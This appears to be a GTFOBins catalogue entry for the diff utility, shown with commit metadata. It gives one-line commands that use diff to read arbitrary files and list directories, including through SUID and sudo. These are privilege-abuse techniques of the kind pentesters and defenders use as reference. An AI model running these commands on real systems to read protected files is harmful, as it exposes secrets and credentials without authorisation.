GTFOBins.github.io/_gtfobins/diff.md
Louis Wolfers b18f5f82b0
Add directory listing to diff
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-03-20 11:56:53 +01:00

594 B

functions
file-read suid sudo
code
LFILE=file_to_read diff --line-format=%L /dev/null $LFILE
description code
This lists the content of a directory. `$TF` can be any directory, but for convenience it is better to use an empty directory to avoid noise output. LFOLDER=folder_to_list TF=$(mktemp -d) diff --recursive $TF $LFOLDER
code
LFILE=file_to_read ./diff --line-format=%L /dev/null $LFILE
code
LFILE=file_to_read sudo diff --line-format=%L /dev/null $LFILE